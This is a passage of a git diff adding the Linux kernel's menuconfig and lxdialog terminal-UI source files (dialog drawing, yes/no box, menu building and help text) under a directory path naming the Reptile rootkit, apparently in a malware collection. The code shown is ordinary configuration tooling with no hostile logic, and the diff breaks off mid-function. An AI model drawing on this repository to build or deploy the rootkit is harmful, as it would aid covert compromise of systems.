set_theme(theme); + if (use_color && has_colors()) { + start_color(); + init_dialog_colors(); + } else + set_mono_theme(); +} + +/* + * Set window to attribute 'attr' + */ +void attr_clear(WINDOW * win, int height, int width, chtype attr) +{ + int i, j; + + wattrset(win, attr); + for (i = 0; i < height; i++) { + wmove(win, i, 0); + for (j = 0; j < width; j++) + waddch(win, ' '); + } + touchwin(win); +} + +void dialog_clear(void) +{ + int lines, columns; + + lines = getmaxy(stdscr); + columns = getmaxx(stdscr); + + attr_clear(stdscr, lines, columns, dlg.screen.atr); + /* Display background title if it exists ... - SLH */ + if (dlg.backtitle != NULL) { + int i, len = 0, skip = 0; + struct subtitle_list *pos; + + wattrset(stdscr, dlg.screen.atr); + mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle); + + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + /* 3 is for the arrow and spaces */ + len += strlen(pos->text) + 3; + } + + wmove(stdscr, 1, 1); + if (len > columns - 2) { + const char *ellipsis = "[...] "; + waddstr(stdscr, ellipsis); + skip = len - (columns - 2 - strlen(ellipsis)); + } + + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + if (skip == 0) + waddch(stdscr, ACS_RARROW); + else + skip--; + + if (skip == 0) + waddch(stdscr, ' '); + else + skip--; + + if (skip < strlen(pos->text)) { + waddstr(stdscr, pos->text + skip); + skip = 0; + } else + skip -= strlen(pos->text); + + if (skip == 0) + waddch(stdscr, ' '); + else + skip--; + } + + for (i = len + 1; i < columns - 1; i++) + waddch(stdscr, ACS_HLINE); + } + wnoutrefresh(stdscr); +} + +/* + * Do some initialization for dialog + */ +int init_dialog(const char *backtitle) +{ + int height, width; + + initscr(); /* Init curses */ + + /* Get current cursor position for signal handler in mconf.c */ + getyx(stdscr, saved_y, saved_x); + + getmaxyx(stdscr, height, width); + if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) { + endwin(); + return -ERRDISPLAYTOOSMALL; + } + + dlg.backtitle = backtitle; + color_setup(getenv("MENUCONFIG_COLOR")); + + keypad(stdscr, TRUE); + cbreak(); + noecho(); + dialog_clear(); + + return 0; +} + +void set_dialog_backtitle(const char *backtitle) +{ + dlg.backtitle = backtitle; +} + +void set_dialog_subtitles(struct subtitle_list *subtitles) +{ + dlg.subtitles = subtitles; +} + +/* + * End using dialog functions. + */ +void end_dialog(int x, int y) +{ + /* move cursor back to original position */ + move(y, x); + refresh(); + endwin(); +} + +/* Print the title of the dialog. Center the title and truncate + * tile if wider than dialog (- 2 chars). + **/ +void print_title(WINDOW *dialog, const char *title, int width) +{ + if (title) { + int tlen = MIN(width - 2, strlen(title)); + wattrset(dialog, dlg.title.atr); + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + mvwaddnstr(dialog, 0, (width - tlen)/2, title, tlen); + waddch(dialog, ' '); + } +} + +/* + * Print a string of text in a window, automatically wrap around to the + * next line if the string is too long to fit on one line. Newline + * characters '\n' are propperly processed. We start on a new line + * if there is no room for at least 4 nonblanks following a double-space. + */ +void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) +{ + int newl, cur_x, cur_y; + int prompt_len, room, wlen; + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + strcpy(tempstr, prompt); + + prompt_len = strlen(tempstr); + + if (prompt_len <= width - x * 2) { /* If prompt is short */ + wmove(win, y, (width - prompt_len) / 2); + waddstr(win, tempstr); + } else { + cur_x = x; + cur_y = y; + newl = 1; + word = tempstr; + while (word && *word) { + sp = strpbrk(word, "\n "); + if (sp && *sp == '\n') + newline_separator = sp; + + if (sp) + *sp++ = 0; + + /* Wrap to next line if either the word does not fit, + or it is the first word of a new sentence, and it is + short, and the next word does not fit. */ + room = width - cur_x; + wlen = strlen(word); + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; + cur_x = x; + } + wmove(win, cur_y, cur_x); + waddstr(win, word); + getyx(win, cur_y, cur_x); + + /* Move to the next line if the word separator was a newline */ + if (newline_separator) { + cur_y++; + cur_x = x; + newline_separator = 0; + } else + cur_x++; + + if (sp && *sp == ' ') { + cur_x++; /* double space */ + while (*++sp == ' ') ; + newl = 1; + } else + newl = 0; + word = sp; + } + } +} + +/* + * Print a button + */ +void print_button(WINDOW * win, const char *label, int y, int x, int selected) +{ + int i, temp; + + wmove(win, y, x); + wattrset(win, selected ? dlg.button_active.atr + : dlg.button_inactive.atr); + waddstr(win, "<"); + temp = strspn(label, " "); + label += temp; + wattrset(win, selected ? dlg.button_label_active.atr + : dlg.button_label_inactive.atr); + for (i = 0; i < temp; i++) + waddch(win, ' '); + wattrset(win, selected ? dlg.button_key_active.atr + : dlg.button_key_inactive.atr); + waddch(win, label[0]); + wattrset(win, selected ? dlg.button_label_active.atr + : dlg.button_label_inactive.atr); + waddstr(win, (char *)label + 1); + wattrset(win, selected ? dlg.button_active.atr + : dlg.button_inactive.atr); + waddstr(win, ">"); + wmove(win, y, x + temp + 1); +} + +/* + * Draw a rectangular box with line drawing characters + */ +void +draw_box(WINDOW * win, int y, int x, int height, int width, + chtype box, chtype border) +{ + int i, j; + + wattrset(win, 0); + for (i = 0; i < height; i++) { + wmove(win, y + i, x); + for (j = 0; j < width; j++) + if (!i && !j) + waddch(win, border | ACS_ULCORNER); + else if (i == height - 1 && !j) + waddch(win, border | ACS_LLCORNER); + else if (!i && j == width - 1) + waddch(win, box | ACS_URCORNER); + else if (i == height - 1 && j == width - 1) + waddch(win, box | ACS_LRCORNER); + else if (!i) + waddch(win, border | ACS_HLINE); + else if (i == height - 1) + waddch(win, box | ACS_HLINE); + else if (!j) + waddch(win, border | ACS_VLINE); + else if (j == width - 1) + waddch(win, box | ACS_VLINE); + else + waddch(win, box | ' '); + } +} + +/* + * Draw shadows along the right and bottom edge to give a more 3D look + * to the boxes + */ +void draw_shadow(WINDOW * win, int y, int x, int height, int width) +{ + int i; + + if (has_colors()) { /* Whether terminal supports color? */ + wattrset(win, dlg.shadow.atr); + wmove(win, y + height, x + 2); + for (i = 0; i < width; i++) + waddch(win, winch(win) & A_CHARTEXT); + for (i = y + 1; i < y + height + 1; i++) { + wmove(win, i, x + width); + waddch(win, winch(win) & A_CHARTEXT); + waddch(win, winch(win) & A_CHARTEXT); + } + wnoutrefresh(win); + } +} + +/* + * Return the position of the first alphabetic character in a string. + */ +int first_alpha(const char *string, const char *exempt) +{ + int i, in_paren = 0, c; + + for (i = 0; i < strlen(string); i++) { + c = tolower(string[i]); + + if (strchr("<[(", c)) + ++in_paren; + if (strchr(">])", c) && in_paren > 0) + --in_paren; + + if ((!in_paren) && isalpha(c) && strchr(exempt, c) == 0) + return i; + } + + return 0; +} + +/* + * ncurses uses ESC to detect escaped char sequences. This resutl in + * a small timeout before ESC is actually delivered to the application. + * lxdialog suggest which is correctly translated to two + * times esc. But then we need to ignore the second esc to avoid stepping + * out one menu too much. Filter away all escaped key sequences since + * keypad(FALSE) turn off ncurses support for escape sequences - and thats + * needed to make notimeout() do as expected. + */ +int on_key_esc(WINDOW *win) +{ + int key; + int key2; + int key3; + + nodelay(win, TRUE); + keypad(win, FALSE); + key = wgetch(win); + key2 = wgetch(win); + do { + key3 = wgetch(win); + } while (key3 != ERR); + nodelay(win, FALSE); + keypad(win, TRUE); + if (key == KEY_ESC && key2 == ERR) + return KEY_ESC; + else if (key != ERR && key != KEY_ESC && key2 == ERR) + ungetch(key); + + return -1; +} + +/* redraw screen in new size */ +int on_key_resize(void) +{ + dialog_clear(); + return KEY_RESIZE; +} + +struct dialog_list *item_cur; +struct dialog_list item_nil; +struct dialog_list *item_head; + +void item_reset(void) +{ + struct dialog_list *p, *next; + + for (p = item_head; p; p = next) { + next = p->next; + free(p); + } + item_head = NULL; + item_cur = &item_nil; +} + +void item_make(const char *fmt, ...) +{ + va_list ap; + struct dialog_list *p = malloc(sizeof(*p)); + + if (item_head) + item_cur->next = p; + else + item_head = p; + item_cur = p; + memset(p, 0, sizeof(*p)); + + va_start(ap, fmt); + vsnprintf(item_cur->node.str, sizeof(item_cur->node.str), fmt, ap); + va_end(ap); +} + +void item_add_str(const char *fmt, ...) +{ + va_list ap; + size_t avail; + + avail = sizeof(item_cur->node.str) - strlen(item_cur->node.str); + + va_start(ap, fmt); + vsnprintf(item_cur->node.str + strlen(item_cur->node.str), + avail, fmt, ap); + item_cur->node.str[sizeof(item_cur->node.str) - 1] = '\0'; + va_end(ap); +} + +void item_set_tag(char tag) +{ + item_cur->node.tag = tag; +} +void item_set_data(void *ptr) +{ + item_cur->node.data = ptr; +} + +void item_set_selected(int val) +{ + item_cur->node.selected = val; +} + +int item_activate_selected(void) +{ + item_foreach() + if (item_is_selected()) + return 1; + return 0; +} + +void *item_data(void) +{ + return item_cur->node.data; +} + +char item_tag(void) +{ + return item_cur->node.tag; +} + +int item_count(void) +{ + int n = 0; + struct dialog_list *p; + + for (p = item_head; p; p = p->next) + n++; + return n; +} + +void item_set(int n) +{ + int i = 0; + item_foreach() + if (i++ == n) + return; +} + +int item_n(void) +{ + int n = 0; + struct dialog_list *p; + + for (p = item_head; p; p = p->next) { + if (p == item_cur) + return n; + n++; + } + return 0; +} + +const char *item_str(void) +{ + return item_cur->node.str; +} + +int item_is_selected(void) +{ + return (item_cur->node.selected != 0); +} + +int item_is_tag(char tag) +{ + return (item_cur->node.tag == tag); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c new file mode 100644 index 0000000..676fb2f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c @@ -0,0 +1,114 @@ +/* + * yesno.c -- implements the yes/no box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +/* + * Display termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 10; + int y = height - 2; + + print_button(dialog, gettext(" Yes "), y, x, selected == 0); + print_button(dialog, gettext(" No "), y, x + 13, selected == 1); + + wmove(dialog, y, x + 1 + 13 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box with two buttons - Yes and No + */ +int dialog_yesno(const char *title, const char *prompt, int height, int width) +{ + int i, x, y, key = 0, button = 0; + WINDOW *dialog; + +do_resize: + if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + print_buttons(dialog, height, width, 0); + + while (key != KEY_ESC) { + key = wgetch(dialog); + switch (key) { + case 'Y': + case 'y': + delwin(dialog); + return 0; + case 'N': + case 'n': + delwin(dialog); + return 1; + + case TAB: + case KEY_LEFT: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(dialog); + break; + case ' ': + case '\n': + delwin(dialog); + return button; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(dialog); + on_key_resize(); + goto do_resize; + } + } + + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c new file mode 100644 index 0000000..3151255 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" +"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " + "Legend: [*] feature is selected [ ] feature is excluded"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else 